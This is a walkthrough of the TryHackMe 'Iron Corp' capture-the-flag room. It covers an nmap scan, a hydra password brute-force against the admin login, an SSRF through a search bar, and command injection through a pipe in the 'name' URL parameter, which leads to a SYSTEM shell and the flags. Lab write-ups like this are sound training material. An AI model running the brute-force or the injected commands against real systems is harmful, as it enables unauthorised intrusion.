Post

TryHackMe Iron Corp

TryHackMe Iron Corp

https://tryhackme.com/room/ironcorp

Add ironcorp.me to /etc/hosts

etc-hosts

Initial Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ nmap -Pn -sS -sC -sV -T4 -p- ironcorp.me
Nmap scan report for ironcorp.me (10.10.98.85)
Host is up (0.040s latency).
Not shown: 65528 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
135/tcp   open  msrpc         Microsoft Windows RPC
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=WIN-8VMBKF3G815
| Not valid before: 2025-08-07T11:30:25
|_Not valid after:  2026-02-06T11:30:25
| rdp-ntlm-info: 
|   Target_Name: WIN-8VMBKF3G815
|   NetBIOS_Domain_Name: WIN-8VMBKF3G815
|   NetBIOS_Computer_Name: WIN-8VMBKF3G815
|   DNS_Domain_Name: WIN-8VMBKF3G815
|   DNS_Computer_Name: WIN-8VMBKF3G815
|   Product_Version: 10.0.14393
|_  System_Time: 2025-08-08T11:39:02+00:00
|_ssl-date: 2025-08-08T11:39:10+00:00; -1s from scanner time.
8080/tcp  open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Dashtreme Admin - Free Dashboard for Bootstrap 4 by Codervent
| http-methods: 
|_  Potentially risky methods: TRACE
11025/tcp open  http          Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.4.4)
|_http-title: Coming Soon - Start Bootstrap Theme
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.4.4
49667/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeration

On main domain there weren’t something useful, gouster found 2 subdomains, add admin.ironcorp.me and internal.ironcorp.me to /etc/hosts

gobuster1

403 Status code on internal subdomain, but if we try accessing this port with admin subdomain…

internal-11025

admin-login

Let’s bruteforce using hydra

1
hydra -l admin -P /usr/share/wordlists/rockyou.txt admin.ironcorp.me http-get -s 11025

Log in using bruted password

Initial Entry

This searchbar doesnt work with commands/finding files with just words but works if you give it url

searchbar

Here’s example what it does

searchbar-nmap

We couldn’t access internal.ironcorp.me:11025, we could try doing it here, there were text You can find your name here, copy link and paste to searchbar:

name-php

After few attempts to inject commands it is possible to run them using | symbol

http://internal.ironcorp.me:11025/name.php?name=qwe|dir

rce

Now what left is catching a shell

revshell

And we already nt authority\system!

user.txt

1
2
PS C:\Users> type C:\Users\Administrator\Desktop\user.txt
thm{09[REDACTED]8c}

Privilege Escalation

Here’s actually nothing to do for escalation as we already admin, but to get root.txt we need access SuperAdmin directory

users-dir

root.txt

We don’t have access to this directory, however if you try reading directly by this path you get root flag

1
2
PS C:\> type C:\Users\SuperAdmin\Desktop\root.txt
thm{a1[REDACTED]bd}
This post is licensed under CC BY 4.0 by the author.